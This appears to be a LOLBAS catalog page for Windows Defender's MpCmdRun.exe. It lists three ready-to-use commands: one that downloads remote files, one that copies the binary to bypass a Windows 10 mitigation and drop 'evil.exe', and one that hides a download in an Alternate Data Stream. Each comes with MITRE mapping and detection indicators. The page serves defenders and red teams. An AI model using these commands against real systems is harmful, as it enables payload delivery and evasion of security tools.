Catalog LOLBAS

LOL · Binary

MpCmdRun.exe

3 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

Use Download file

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: MpCmdRun storing data into alternate data streams.
IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOC: User Agent is "MpCommunication"

Download

File Download Windows

Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.

Use Download file

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe
Context
user
Native
Download
MITRE
T1105
Detection
IOC: MpCmdRun storing data into alternate data streams.
IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOC: User Agent is "MpCommunication"

ADS

Defense EvasionFile Write Windows

Download file to machine and store it in Alternate Data Stream

Use Hide downloaded data into an Alternate Data Stream

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe
Context
user
Native
ADS
Detection
IOC: MpCmdRun storing data into alternate data streams.
IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
IOC: User Agent is "MpCommunication"